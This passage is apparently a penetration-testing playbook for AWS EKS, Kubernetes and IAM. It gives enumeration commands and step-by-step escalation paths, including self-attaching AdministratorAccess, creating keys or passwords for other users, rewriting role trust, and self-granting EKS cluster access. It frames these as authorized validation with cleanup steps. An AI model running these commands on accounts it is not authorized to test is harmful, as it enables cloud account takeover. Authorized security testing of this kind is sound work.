  --role-arn <ROLE_ARN> \
  --role-session-name pt-validation \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Metadata-only production validation

aws --profile <PROD_PROFILE> sts get-caller-identity
aws --profile <PROD_PROFILE> iam list-account-aliases
aws --profile <PROD_PROFILE> eks list-clusters --region "$REGION"
aws --profile <PROD_PROFILE> rds describe-db-instances --region "$REGION"
aws --profile <PROD_PROFILE> secretsmanager list-secrets --region "$REGION"
aws --profile <PROD_PROFILE> ssm describe-parameters --region "$REGION"

Canary object validation

Ask client to create:

S3 object: s3://client-approved-bucket/pentest-canary.txt
Secret: pentest/canary
SSM parameter: /pentest/canary

Then access only that canary.

Benign Kubernetes write validation

Only if authorized:

NS="pt-validation-$(date +%s)"

kubectl --context <CONTEXT> create namespace "$NS"

kubectl --context <CONTEXT> -n "$NS" create configmap pt-proof \
  --from-literal=created_by=redteam \
  --from-literal=purpose=cluster-admin-validation

kubectl --context <CONTEXT> -n "$NS" get configmap pt-proof

kubectl --context <CONTEXT> delete namespace "$NS"

AWS EKS and Kubernetes Pentesting Continued


1. EKS Enumeration: AWS-Side

List EKS clusters in one region

aws eks list-clusters \
  --region <REGION> \
  --output table

Example:

aws eks list-clusters \
  --region ap-southeast-2 \
  --output table

Look for:

development clusters
test clusters
staging clusters
production clusters
shared services clusters

List EKS clusters across all regions

for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
  echo "===== $region ====="
  aws eks list-clusters --region "$region" --output table 2>/dev/null
done

Describe cluster security-relevant metadata

aws eks describe-cluster \
  --region <REGION> \
  --name <CLUSTER_NAME> \
  --query 'cluster.{
    name:name,
    arn:arn,
    status:status,
    version:version,
    endpoint:endpoint,
    publicEndpoint:resourcesVpcConfig.endpointPublicAccess,
    privateEndpoint:resourcesVpcConfig.endpointPrivateAccess,
    publicCidrs:resourcesVpcConfig.publicAccessCidrs,
    authenticationMode:accessConfig.authenticationMode,
    bootstrapClusterCreatorAdminPermissions:accessConfig.bootstrapClusterCreatorAdminPermissions,
    roleArn:roleArn,
    oidcIssuer:identity.oidc.issuer,
    securityGroupIds:resourcesVpcConfig.securityGroupIds,
    subnetIds:resourcesVpcConfig.subnetIds
  }' \
  --output yaml

Look for:

endpointPublicAccess: true
publicCidrs: 0.0.0.0/0
authenticationMode: CONFIG_MAP
authenticationMode: API_AND_CONFIG_MAP
bootstrapClusterCreatorAdminPermissions: true
OIDC issuer configured

Interpretation

Field Pentest Meaning
endpointPublicAccess: true Kubernetes API is reachable publicly, depending on CIDR restrictions
publicCidrs: 0.0.0.0/0 API endpoint may be reachable from anywhere
authenticationMode: CONFIG_MAP Legacy aws-auth controls access
authenticationMode: API EKS Access Entries control access
authenticationMode: API_AND_CONFIG_MAP Both legacy and new access methods apply
bootstrapClusterCreatorAdminPermissions: true Cluster creator may retain admin rights
oidcIssuer IRSA may be in use

2. EKS Access Entries

EKS Access Entries are the newer AWS-managed way to map IAM principals into Kubernetes.

List access entries

aws eks list-access-entries \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --output table

Look for principals such as:

tf-automation
terraform
deployment
admin
AWSReservedSSO_AdministratorAccess
node group roles
CI/CD roles
security audit roles

Describe an access entry

aws eks describe-access-entry \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn <PRINCIPAL_ARN> \
  --output yaml

Look for:

principalArn: arn:aws:iam::<ACCOUNT_ID>:role/tf-automation
kubernetesGroups: []
username: arn:aws:sts::<ACCOUNT_ID>:assumed-role/tf-automation/{{SessionName}}
type: STANDARD

Important:

kubernetesGroups: []

does not necessarily mean no access. The principal may have EKS Access Policies associated separately.


List associated EKS access policies

aws eks list-associated-access-policies \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn <PRINCIPAL_ARN> \
  --output yaml

Look for:

AmazonEKSClusterAdminPolicy
AmazonEKSAdminPolicy
AmazonEKSEditPolicy
AmazonEKSViewPolicy

Interpretation

EKS Policy Meaning
AmazonEKSClusterAdminPolicy Cluster-wide admin
AmazonEKSAdminPolicy Broad admin-style access
AmazonEKSEditPolicy Can modify many resources
AmazonEKSViewPolicy Read-only visibility
accessScope: type: cluster Applies cluster-wide
accessScope: type: namespace Scoped to specific namespaces

Example high-impact evidence:

associatedAccessPolicies:
- accessScope:
    namespaces: []
    type: cluster
  policyArn: arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy

This indicates cluster-wide admin access.


3. Adding EKS to Kubeconfig

Add cluster using current AWS identity

aws eks update-kubeconfig \
  --region <REGION> \
  --name <CLUSTER_NAME> \
  --alias <CONTEXT_ALIAS>

Example:

aws eks update-kubeconfig \
  --region ap-southeast-2 \
  --name eks-test-DPJ3Eq \
  --alias eks-test

Add cluster using a specific IAM role

aws eks update-kubeconfig \
  --region <REGION> \
  --name <CLUSTER_NAME> \
  --alias <CONTEXT_ALIAS> \
  --user-alias <USER_ALIAS> \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>

Example:

aws eks update-kubeconfig \
  --region ap-southeast-2 \
  --name eks-production-XD3ylC \
  --alias prod-via-tf \
  --user-alias prod-via-tf-user \
  --role-arn arn:aws:iam::719713902144:role/tf-automation

Check contexts

kubectl config get-contexts

Switch context

kubectl config use-context <CONTEXT_NAME>

Unset current context

kubectl config unset current-context

4. Kubernetes Authentication and Authorization Checks

Check Kubernetes identity

kubectl --context <CONTEXT> auth whoami

Look for:

Username
Groups
Extra: arn
Extra: canonicalArn
Extra: sessionName

Example:

Username: arn:aws:sts::719713902144:assumed-role/tf-automation/EKSGetTokenAuth
Groups: [system:authenticated]
Extra: canonicalArn [arn:aws:iam::719713902144:role/tf-automation]

This proves the AWS principal can authenticate to the Kubernetes API.


Authentication vs authorization

Result Meaning
Unauthorized Principal is not mapped into cluster or token/profile is wrong
Forbidden Principal authenticated, but RBAC/EKS policy denied the action
system:authenticated only Authenticated, but no obvious Kubernetes group grants
AmazonEKSClusterAdminPolicy Access may come from EKS authorizer, not visible as Kubernetes group

Check direct permissions

kubectl --context <CONTEXT> auth can-i list namespaces
kubectl --context <CONTEXT> auth can-i get nodes
kubectl --context <CONTEXT> auth can-i list pods --all-namespaces
kubectl --context <CONTEXT> auth can-i get secrets --all-namespaces
kubectl --context <CONTEXT> auth can-i create pods --all-namespaces
kubectl --context <CONTEXT> auth can-i create pods/exec --all-namespaces
kubectl --context <CONTEXT> auth can-i create serviceaccounts/token --all-namespaces
kubectl --context <CONTEXT> auth can-i create clusterrolebindings.rbac.authorization.k8s.io
kubectl --context <CONTEXT> auth can-i '*' '*' --all-namespaces

can-i --list caveat

kubectl --context <CONTEXT> auth can-i --list

You may see:

Warning: the list may be incomplete: webhook authorizer does not support user rule resolution

This is common with EKS Access Policies. The output may not fully show permissions granted by the EKS authorizer.

Prefer direct checks like:

kubectl --context <CONTEXT> auth can-i '*' '*' --all-namespaces

5. Safe Kubernetes Enumeration

Cluster-level metadata

kubectl --context <CONTEXT> get ns
kubectl --context <CONTEXT> get nodes
kubectl --context <CONTEXT> get events -A

Workloads

kubectl --context <CONTEXT> get pods -A
kubectl --context <CONTEXT> get deployments -A
kubectl --context <CONTEXT> get daemonsets -A
kubectl --context <CONTEXT> get statefulsets -A
kubectl --context <CONTEXT> get jobs -A
kubectl --context <CONTEXT> get cronjobs -A

Services and ingress

kubectl --context <CONTEXT> get svc -A
kubectl --context <CONTEXT> get ingress -A
kubectl --context <CONTEXT> get endpoints -A

Look for:

LoadBalancer services
Public ingress hosts
Internal admin services
Unusual exposed ports

Service accounts

kubectl --context <CONTEXT> get serviceaccounts -A

Find service accounts with IRSA roles:

kubectl --context <CONTEXT> get serviceaccounts -A -o json | jq -r '
.items[] |
select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
[
  .metadata.namespace,
  .metadata.name,
  .metadata.annotations["eks.amazonaws.com/role-arn"]
] | @tsv
'

ConfigMaps

kubectl --context <CONTEXT> get configmaps -A

Secrets

Check whether access is possible:

kubectl --context <CONTEXT> auth can-i get secrets --all-namespaces
kubectl --context <CONTEXT> auth can-i list secrets --all-namespaces

Metadata-only:

kubectl --context <CONTEXT> get secrets -A

Avoid:

kubectl get secrets -A -o yaml

unless explicitly authorized.


6. Kubernetes RBAC Enumeration

List roles and cluster roles

kubectl --context <CONTEXT> get roles -A
kubectl --context <CONTEXT> get clusterroles

List role bindings and cluster role bindings

kubectl --context <CONTEXT> get rolebindings -A
kubectl --context <CONTEXT> get clusterrolebindings

Find cluster-admin bindings

kubectl --context <CONTEXT> get clusterrolebindings -o json | jq -r '
.items[] |
select(.roleRef.name=="cluster-admin") |
{
  name: .metadata.name,
  subjects: .subjects
}
'

Look for subjects such as:

system:masters
IAM-mapped users
IAM-mapped roles
default service accounts
CI/CD service accounts

Find risky service account bindings

kubectl --context <CONTEXT> get clusterrolebindings -o json | jq -r '
.items[] |
select(.subjects[]? .kind=="ServiceAccount") |
[
  .metadata.name,
  .roleRef.name,
  (.subjects[]? | select(.kind=="ServiceAccount") | "\(.namespace)/\(.name)")
] | @tsv
'

7. Kubernetes Workload Security Checks

Find privileged containers

kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] as $pod |
$pod.spec.containers[]? |
select(.securityContext.privileged == true) |
[
  $pod.metadata.namespace,
  $pod.metadata.name,
  .name
] | @tsv
'

Find hostPath mounts

kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.volumes[]? .hostPath != null) |
[
  .metadata.namespace,
  .metadata.name,
  (.spec.volumes[]? | select(.hostPath != null) | .hostPath.path)
] | @tsv
'

Find hostNetwork pods

kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.hostNetwork == true) |
[
  .metadata.namespace,
  .metadata.name
] | @tsv
'

Find hostPID or hostIPC pods

kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.hostPID == true or .spec.hostIPC == true) |
[
  .metadata.namespace,
  .metadata.name,
  .spec.hostPID,
  .spec.hostIPC
] | @tsv
'

Find pods using default service accounts

kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.serviceAccountName == "default" or .spec.serviceAccountName == null) |
[
  .metadata.namespace,
  .metadata.name,
  (.spec.serviceAccountName // "default")
] | @tsv
'

Find pods with automounted service account tokens

kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.automountServiceAccountToken != false) |
[
  .metadata.namespace,
  .metadata.name,
  (.spec.serviceAccountName // "default"),
  (.spec.automountServiceAccountToken // "default-true")
] | @tsv
'

8. EKS Attack Paths

Attack Path 1: AWS principal can assume EKS admin role

IAM user/role
  -> sts:AssumeRole
EKS-mapped IAM role
  -> AmazonEKSClusterAdminPolicy
Kubernetes cluster-admin

Test

aws sts assume-role \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<EKS_ADMIN_ROLE> \
  --role-session-name pt-eks-admin-test \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Then:

aws eks list-associated-access-policies \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn arn:aws:iam::<ACCOUNT_ID>:role/<EKS_ADMIN_ROLE> \
  --output yaml

Look for:

AmazonEKSClusterAdminPolicy

Attack Path 2: AWS permissions allow self-granting EKS access

Required permissions may include:

eks:CreateAccessEntry
eks:AssociateAccessPolicy
eks:DescribeAccessEntry
eks:ListAccessEntries

Safe view-only validation

Only if approved:

CURRENT_ARN=$(aws sts get-caller-identity --query Arn --output text)

aws eks create-access-entry \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn "$CURRENT_ARN" \
  --type STANDARD
aws eks associate-access-policy \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn "$CURRENT_ARN" \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
  --access-scope type=cluster

Cleanup

aws eks disassociate-access-policy \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn "$CURRENT_ARN" \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy
aws eks delete-access-entry \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn "$CURRENT_ARN"

Impact

If the principal can associate:

AmazonEKSClusterAdminPolicy

then it can grant itself cluster-admin.


Attack Path 3: Legacy aws-auth grants cluster-admin

If cluster uses:

CONFIG_MAP
API_AND_CONFIG_MAP

legacy aws-auth may still grant access.

Check authentication mode

aws eks describe-cluster \
  --region <REGION> \
  --name <CLUSTER_NAME> \
  --query 'cluster.accessConfig' \
  --output yaml

Inspect aws-auth

Only if authorized:

kubectl --context <CONTEXT> -n kube-system get configmap aws-auth -o yaml

Look for:

mapRoles:
- rolearn: arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>
  groups:
  - system:masters

Impact

Any principal that can assume a role mapped to:

system:masters

has Kubernetes cluster-admin.


Attack Path 4: Cluster-admin to AWS via IRSA

Kubernetes cluster-admin
  -> Create/use service account with IRSA role
  -> Obtain web identity token
  -> sts:AssumeRoleWithWebIdentity
  -> AWS IAM role credentials

Find IRSA service accounts

kubectl --context <CONTEXT> get serviceaccounts -A -o json | jq -r '
.items[] |
select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
[
  .metadata.namespace,
  .metadata.name,
  .metadata.annotations["eks.amazonaws.com/role-arn"]
] | @tsv
'

Check if token creation is allowed

kubectl --context <CONTEXT> auth can-i create serviceaccounts/token -n <NAMESPACE>

Assume IRSA role with token

Only if approved:

TOKEN=$(kubectl --context <CONTEXT> -n <NAMESPACE> create token <SERVICE_ACCOUNT> \
  --audience sts.amazonaws.com \
  --duration=15m)

aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<IRSA_ROLE> \
  --role-session-name pt-irsa-validation \
  --web-identity-token "$TOKEN" \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Attack Path 5: Workload exec to cloud credentials

Kubernetes pod exec permission
  -> Access workload environment
  -> Use pod service account / IRSA credentials
  -> AWS API access

Check:

kubectl --context <CONTEXT> auth can-i create pods/exec -n <NAMESPACE>

Avoid executing into production pods as you might inadventrly mess something up : )


Attack Path 6: Privileged pod to node compromise

Kubernetes create pods
  -> Create privileged pod with hostPath
  -> Access node filesystem/runtime
  -> Potential node IAM role access

Check whether pod creation is allowed:

kubectl --context <CONTEXT> auth can-i create pods -n <NAMESPACE>

Check existing risky pods:

kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(
  (.spec.hostNetwork == true) or
  (.spec.hostPID == true) or
  (.spec.containers[]? .securityContext.privileged == true) or
  (.spec.volumes[]? .hostPath != null)
) |
[
  .metadata.namespace,
  .metadata.name
] | @tsv
'

Do not deploy privileged pods in production unless you know what you are doing


IAM Privilege Escalation Paths


1. IAM Privilege Escalation Methodology

Step 1: Identify current principal

aws sts get-caller-identity

Record:

Account
Arn
UserId

Step 2: Identify attached and inline permissions

For IAM user:

USER_NAME=$(aws sts get-caller-identity --query Arn --output text | awk -F'/' '{print $NF}')

aws iam list-attached-user-policies --user-name "$USER_NAME"
aws iam list-user-policies --user-name "$USER_NAME"
aws iam list-groups-for-user --user-name "$USER_NAME"

For role:

CALLER_ARN=$(aws sts get-caller-identity --query Arn --output text)
ROLE_NAME=$(echo "$CALLER_ARN" | awk -F'/' '/assumed-role/ {print $(NF-1)}')

aws iam list-attached-role-policies --role-name "$ROLE_NAME"
aws iam list-role-policies --role-name "$ROLE_NAME"

Step 3: Search for dangerous permissions

Look for:

iam:AttachUserPolicy
iam:PutUserPolicy
iam:AddUserToGroup
iam:CreateAccessKey
iam:CreateLoginProfile
iam:UpdateLoginProfile
iam:CreateRole
iam:AttachRolePolicy
iam:PutRolePolicy
iam:UpdateAssumeRolePolicy
iam:PassRole
iam:CreatePolicyVersion
iam:SetDefaultPolicyVersion
lambda:CreateFunction
lambda:UpdateFunctionCode
ec2:RunInstances
ssm:SendCommand
codebuild:CreateProject
codebuild:StartBuild
cloudformation:CreateStack
eks:CreateAccessEntry
eks:AssociateAccessPolicy

2. IAM Privilege Escalation Summary Table

Path Required Permission(s) Result
Attach admin policy to self iam:AttachUserPolicy User becomes admin
Add inline admin policy to self iam:PutUserPolicy User becomes admin
Add self to admin group iam:AddUserToGroup User inherits group admin
Create access key for privileged user iam:CreateAccessKey API access as privileged user
Reset console password iam:CreateLoginProfile, iam:UpdateLoginProfile Console access as user
Attach admin policy to assumable role iam:AttachRolePolicy, sts:AssumeRole Assume admin role
Modify role trust policy iam:UpdateAssumeRolePolicy Make role assumable
Create new admin role iam:CreateRole, iam:AttachRolePolicy, sts:AssumeRole New admin role
Pass role to compute iam:PassRole + compute service Code execution as role
CodeBuild abuse codebuild:* + iam:PassRole Command execution as build role
Lambda abuse lambda:* + iam:PassRole Code execution as Lambda role
CloudFormation abuse cloudformation:* + iam:PassRole Create privileged resources
EKS access entry abuse eks:CreateAccessEntry, eks:AssociateAccessPolicy Kubernetes admin/view/edit
Policy version abuse iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion Make existing policy admin

3. Path: Attach AdministratorAccess to Self

Required

iam:AttachUserPolicy

Check current user

aws sts get-caller-identity

Active validation

Only against a canary/test user unless approved:

aws iam attach-user-policy \
  --user-name <USER_NAME> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Confirm

aws iam list-attached-user-policies \
  --user-name <USER_NAME>

Cleanup

aws iam detach-user-policy \
  --user-name <USER_NAME> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Finding

Principal can attach AdministratorAccess to IAM users.

4. Path: Add Inline Admin Policy to Self

Required

iam:PutUserPolicy

Active validation

aws iam put-user-policy \
  --user-name <USER_NAME> \
  --policy-name PT-Validation-AdminPolicy \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
      }
    ]
  }'

Cleanup

aws iam delete-user-policy \
  --user-name <USER_NAME> \
  --policy-name PT-Validation-AdminPolicy

Safer validation

Use harmless action instead of admin:

aws iam put-user-policy \
  --user-name <USER_NAME> \
  --policy-name PT-Validation-ListOnly \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": "cloudwatch:ListMetrics",
        "Resource": "*"
      }
    ]
  }'

5. Path: Add Self to Admin Group

Required

iam:AddUserToGroup

Find groups

aws iam list-groups

Look for:

Admin
Administrators
PowerUsers
Developers
OrganizationAccountAccess

Inspect group policies

aws iam list-attached-group-policies \
  --group-name <GROUP_NAME>

aws iam list-group-policies \
  --group-name <GROUP_NAME>

Active validation

aws iam add-user-to-group \
  --group-name <GROUP_NAME> \
  --user-name <USER_NAME>

Cleanup

aws iam remove-user-from-group \
  --group-name <GROUP_NAME> \
  --user-name <USER_NAME>

6. Path: Create Access Key for Privileged User

Required

iam:CreateAccessKey

Risk

This can create API credentials for another IAM user. Treat as sensitive and only test against a client-approved canary user.

List users

aws iam list-users \
  --query 'Users[].{UserName:UserName,Arn:Arn,PasswordLastUsed:PasswordLastUsed}' \
  --output table

Check user policies

aws iam list-attached-user-policies \
  --user-name <TARGET_USER>

aws iam list-groups-for-user \
  --user-name <TARGET_USER>

Active validation against canary user only

aws iam create-access-key \
  --user-name <CANARY_USER>

Cleanup

aws iam delete-access-key \
  --user-name <CANARY_USER> \
  --access-key-id <ACCESS_KEY_ID>

Finding

Principal can create access keys for other IAM users, enabling impersonation of privileged users.

7. Path: Create or Reset Console Password

Required

iam:CreateLoginProfile
iam:UpdateLoginProfile

Check if user has login profile

aws iam get-login-profile \
  --user-name <TARGET_USER>

Active validation against canary user only

Create login profile:

aws iam create-login-profile \
  --user-name <CANARY_USER> \
  --password '<TEMPORARY_COMPLEX_PASSWORD>' \
  --password-reset-required

Update login profile:

aws iam update-login-profile \
  --user-name <CANARY_USER> \
  --password '<TEMPORARY_COMPLEX_PASSWORD>' \
  --password-reset-required

Cleanup

aws iam delete-login-profile \
  --user-name <CANARY_USER>

Finding

Principal can create or reset IAM console passwords, allowing impersonation of IAM users.

8. Path: Attach Admin Policy to an Assumable Role

Required

iam:AttachRolePolicy
sts:AssumeRole

Find roles

aws iam list-roles \
  --query 'Roles[].{RoleName:RoleName,Arn:Arn}' \
  --output table

Check role trust

aws iam get-role \
  --role-name <ROLE_NAME> \
  --query 'Role.AssumeRolePolicyDocument' \
  --output json

Look for trust that includes your user, your role, your account root, or broad principals.

Active validation

aws iam attach-role-policy \
  --role-name <ROLE_NAME> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Then:

aws sts assume-role \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME> \
  --role-session-name pt-role-escalation \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Cleanup

aws iam detach-role-policy \
  --role-name <ROLE_NAME> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

9. Path: Add Inline Admin Policy to Role

Required

iam:PutRolePolicy
sts:AssumeRole

Active validation

aws iam put-role-policy \
  --role-name <ROLE_NAME> \
  --policy-name PT-Validation-AdminPolicy \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
      }
    ]
  }'

Assume role:

aws sts assume-role \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME> \
  --role-session-name pt-role-escalation \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Cleanup

aws iam delete-role-policy \
  --role-name <ROLE_NAME> \
  --policy-name PT-Validation-AdminPolicy

10. Path: Modify Role Trust Policy

Required

iam:UpdateAssumeRolePolicy
sts:AssumeRole

Current identity

CALLER_ARN=$(aws sts get-caller-identity --query Arn --output text)
echo "$CALLER_ARN"

Create trust policy

For IAM user:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::<ACCOUNT_ID>:user/<USER_NAME>"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

For IAM role:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Active validation

aws iam update-assume-role-policy \
  --role-name <TARGET_ROLE_NAME> \
  --policy-document file://trust.json

Then:

aws sts assume-role \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<TARGET_ROLE_NAME> \
  --role-session-name pt-trust-validation \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Cleanup

Restore the original trust policy. Always save it before modification:

aws iam get-role \
  --role-name <TARGET_ROLE_NAME> \
  --query 'Role.AssumeRolePolicyDocument' \
  --output json > original-trust.json

11. Path: Create a New Admin Role

Required

iam:CreateRole
iam:AttachRolePolicy or iam:PutRolePolicy
sts:AssumeRole

Create trust policy

ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
CALLER_ARN=$(aws sts get-caller-identity --query Arn --output text)

For IAM user principal, create trust.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "<CALLER_ARN>"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Replace <CALLER_ARN> with your actual ARN.

Active validation

aws iam create-role \
  --role-name PT-AssumableAdmin \
  --assume-role-policy-document file://trust.json \
  --description "Temporary pentest validation role"
aws iam attach-role-policy \
  --role-name PT-AssumableAdmin \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws sts assume-role \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/PT-AssumableAdmin \
  --role-session-name pt-created-admin \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Cleanup

aws iam detach-role-policy \
  --role-name PT-AssumableAdmin \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-role \
  --role-name PT-AssumableAdmin

12. Path: Managed Policy Version Escalation

Required

iam:CreatePolicyVersion
iam:SetDefaultPolicyVersion

Risk

If a user can create a new version of an attached customer-managed policy and set it as default, they can turn an existing limited policy into admin.

Identify customer managed policies

aws iam list-policies \
  --scope Local \
  --query 'Policies[].{Name:PolicyName,Arn:Arn,DefaultVersion:DefaultVersionId,AttachmentCount:AttachmentCount}' \
  --output table

Check policy

aws iam get-policy \
  --policy-arn <POLICY_ARN>

Active validation

Only if approved:

aws iam create-policy-version \
  --policy-arn <POLICY_ARN> \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
      }
    ]
  }' \
  --set-as-default

Cleanup

You must restore the previous default version and delete the test version.

List versions:

aws iam list-policy-versions \
  --policy-arn <POLICY_ARN>

Set original default:

aws iam set-default-policy-version \
  --policy-arn <POLICY_ARN> \
  --version-id <ORIGINAL_VERSION_ID>

Delete test version:

aws iam delete-policy-version \
  --policy-arn <POLICY_ARN> \
  --version-id <TEST_VERSION_ID>

13. Path: PassRole + EC2 RunInstances

Required

iam:PassRole
ec2:RunInstances

Impact

Can launch an EC2 instance with a privileged instance profile. If the tester has OS access to the instance, they can retrieve role credentials from IMDS.

Check PassRole simulation

aws iam simulate-principal-policy \
  --policy-source-arn <CALLER_PRINCIPAL_ARN> \
  --action-names iam:PassRole ec2:RunInstances \
  --resource-arns arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME> "*" \
  --output yaml

Look for instance profiles

aws iam list-instance-profiles

Safer validation

Principal can pass privileged role and run EC2 instances.

14. Path: PassRole + Lambda

Required

iam:PassRole
lambda:CreateFunction
lambda:UpdateFunctionCode
lambda:InvokeFunction

Impact

Can execute code as the Lambda execution role.

Enumerate Lambda roles

aws lambda list-functions \
  --region <REGION> \
  --query 'Functions[].{Name:FunctionName,Role:Role,Runtime:Runtime}' \
  --output table

Check if role can be passed

aws iam simulate-principal-policy \
  --policy-source-arn <CALLER_PRINCIPAL_ARN> \
  --action-names iam:PassRole lambda:CreateFunction \
  --resource-arns arn:aws:iam::<ACCOUNT_ID>:role/<LAMBDA_ROLE> "*" \
  --output yaml

Finding

Principal can create or modify Lambda functions with privileged execution roles, enabling code execution under those roles.

15. Path: PassRole + CodeBuild

Required

iam:PassRole
codebuild:CreateProject
codebuild:UpdateProject
codebuild:StartBuild

Impact

Can run arbitrary build commands as the CodeBuild service role.

Enumerate CodeBuild projects

aws codebuild list-projects \
  --region <REGION>
aws codebuild batch-get-projects \
  --names <PROJECT_NAME> \
  --region <REGION>

Look for:

serviceRole
privilegedMode
environment variables
secrets
VPC access

Finding

Principal can start or modify CodeBuild projects using privileged service roles, enabling command execution as those roles.

16. Path: PassRole + ECS RunTask

Required

iam:PassRole
ecs:RunTask
ecs:RegisterTaskDefinition

Impact

Can run containers with privileged task roles.

Enumerate task definitions

aws ecs list-task-definitions \
  --region <REGION>

Describe task definition

aws ecs describe-task-definition \
  --task-definition <TASK_DEFINITION> \
  --region <REGION>

Look for:

taskRoleArn
executionRoleArn
secrets
environment
privileged

Finding

Principal can run ECS tasks with privileged task roles, enabling code execution under those AWS permissions.

17. Path: CloudFormation Stack Creation

Required

cloudformation:CreateStack
cloudformation:UpdateStack
iam:PassRole

Impact

Can create privileged IAM roles, policies, Lambda functions, or other infrastructure indirectly through CloudFormation.

Check stacks

aws cloudformation list-stacks \
  --region <REGION> \
  --stack-status-filter CREATE_COMPLETE UPDATE_COMPLETE

Check if caller can pass CloudFormation execution role

aws iam simulate-principal-policy \
  --policy-source-arn <CALLER_PRINCIPAL_ARN> \
  --action-names iam:PassRole cloudformation:CreateStack \
  --resource-arns arn:aws:iam::<ACCOUNT_ID>:role/<CFN_EXECUTION_ROLE> "*" \
  --output yaml

Finding

Principal can use CloudFormation with a privileged execution role to create or modify privileged AWS resources.

18. Path: EKS Access Entry Self-Grant

Required

eks:CreateAccessEntry
eks:AssociateAccessPolicy

Safe validation

Use view-only if approved:

CURRENT_ARN=$(aws sts get-caller-identity --query Arn --output text)

aws eks create-access-entry \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn "$CURRENT_ARN" \
  --type STANDARD
aws eks associate-access-policy \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn "$CURRENT_ARN" \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
  --access-scope type=cluster

Admin impact

If allowed to associate:

AmazonEKSClusterAdminPolicy

then the principal can grant itself cluster-admin.

Cleanup

aws eks disassociate-access-policy \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn "$CURRENT_ARN" \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy
aws eks delete-access-entry \
  --region <REGION> \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn "$CURRENT_ARN"

19. Path: Existing Broad Trust Role

Required

sts:AssumeRole

Target role trust may allow broad assumption.

Enumerate roles with broad trust

aws iam list-roles --output json | jq -r '
.Roles[] |
select(
  (.AssumeRolePolicyDocument.Statement[]? .Principal.AWS? == "*") or
  ((.AssumeRolePolicyDocument.Statement[]? .Principal.AWS? | tostring) | contains(":root"))
) |
[
  .RoleName,
  .Arn,
  (.AssumeRolePolicyDocument.Statement[]? .Principal.AWS? | tostring)
] | @tsv
'

Look for trust like:

"Principal": {
  "AWS": "*"
}

or:

"Principal": {
